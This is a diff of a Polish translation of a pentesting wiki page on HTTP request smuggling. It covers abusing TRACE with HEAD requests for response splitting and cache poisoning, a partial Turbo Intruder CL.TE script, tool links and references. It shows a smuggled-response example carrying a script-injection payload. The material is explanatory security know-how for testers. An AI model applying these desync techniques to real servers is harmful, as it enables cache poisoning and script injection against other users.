-### Nadużywanie TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
+### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

-Kontynuowanie lektury [**this post**](https://portswigger.net/research/trace-desync-attack) sugeruje inny sposób nadużycia metody TRACE. Jak wspomniano, smuggling a HEAD request and a TRACE request pozwala **kontrolować pewne odzwierciedlone dane** w odpowiedzi na żądanie HEAD. Długość ciała żądania HEAD jest zasadniczo wskazywana w nagłówku `Content-Length` i jest formowana przez odpowiedź na żądanie TRACE.
+Warto śledzić [**this post**](https://portswigger.net/research/trace-desync-attack) — sugeruje on inny sposób nadużycia metody TRACE. Jak wspomniano, przemycając żądanie HEAD i żądanie TRACE można **kontrolować część odzwierciedlanych danych** w odpowiedzi na żądanie HEAD. Długość ciała żądania HEAD jest zasadniczo określona w nagłówku `Content-Length` i jest utworzona przez odpowiedź na żądanie TRACE.

-W związku z tym nowy pomysł polega na tym, że znając tę wartość `Content-Length` oraz dane zawarte w odpowiedzi TRACE, można sprawić, aby odpowiedź TRACE zawierała prawidłową odpowiedź HTTP po ostatnim bajcie określonym przez `Content-Length`, pozwalając atakującemu na pełną kontrolę nad żądaniem do następnej odpowiedzi (co mogłoby być użyte do przeprowadzenia cache poisoning).
+Zatem nowy pomysł polega na tym, że znając wartość `Content-Length` i dane zawarte w odpowiedzi TRACE, można sprawić, aby odpowiedź TRACE zawierała prawidłową odpowiedź HTTP za ostatnim bajtem określonym przez `Content-Length`, co pozwoli atakującemu całkowicie kontrolować żądanie wysyłane dalej (co mogłoby być użyte do przeprowadzenia cache poisoning).

 Przykład:
 ```
@ -724,7 +723,7 @@ Content-Length: 44\r\n
 \r\n
 <script>alert("response splitting")</script>
 ```
-Wygeneruje te odpowiedzi (zauważ, że odpowiedź HEAD ma nagłówek Content-Length, co sprawia, że odpowiedź TRACE staje się częścią body odpowiedzi HEAD, a gdy Content-Length odpowiedzi HEAD dobiegnie końca, zostaje smuggled prawidłowa odpowiedź HTTP):
+Wygeneruje te odpowiedzi (zwróć uwagę, jak odpowiedź HEAD ma nagłówek Content-Length, przez co odpowiedź TRACE staje się częścią ciała HEAD, a gdy Content-Length w HEAD się kończy, zostaje przemycona prawidłowa odpowiedź HTTP):
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@ -747,14 +746,14 @@ Content-Length: 50
 ```
 ### Wykorzystanie HTTP Request Smuggling przy użyciu HTTP Response Desynchronisation

-Znalazłeś podatność typu HTTP Request Smuggling i nie wiesz, jak ją wykorzystać? Wypróbuj następujące metody eksploatacji:
+Znalazłeś podatność HTTP Request Smuggling i nie wiesz, jak ją exploitować? Wypróbuj te inne metody eksploatacji:


 {{#ref}}
 ../http-response-smuggling-desync.md
 {{#endref}}

-### Inne techniki HTTP Request Smuggling
+### Other HTTP Request Smuggling Techniques

 - Browser HTTP Request Smuggling (Client Side)

@ -770,11 +769,11 @@ browser-http-request-smuggling.md
 request-smuggling-in-http-2-downgrades.md
 {{#endref}}

-## Skrypty Turbo intruder
+## Turbo intruder skrypty

 ### CL.TE

-Źródło: [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
+Z [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
 ```python
 def queueRequests(target, wordlists):

@ -859,16 +858,16 @@ table.add(req)
 ```
 ## Narzędzia

- HTTP Hacker (Burp BApp Store) – wizualizuje konkatenację/ramowanie oraz niskopoziomowe zachowanie HTTP
+- HTTP Hacker (Burp BApp Store) – wizualizuje łączenie/framing i niskopoziomowe zachowanie HTTP
 - https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
 - [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
 - [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
 - [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
 - [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
 - [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): To narzędzie oparte na gramatyce do fuzzowania HTTP, przydatne do wykrywania nietypowych rozbieżności w request smuggling.
+- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): To narzędzie oparte na gramatyce (grammar-based) — HTTP Fuzzer — przydatne do znajdowania nietypowych rozbieżności w request smuggling.

-## Odnośniki
+## Źródła

 - [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
 - [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
@ -879,7 +878,7 @@ table.add(req)
 - [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
 - [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
 - [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- Uwaga na fałszywe pozytywy: jak odróżnić HTTP pipelining od request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
+- Uwaga na fałszywe false‑positive: jak odróżnić HTTP pipelining od request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
 - [https://http1mustdie.com/](https://http1mustdie.com/)
 - Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
 - PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)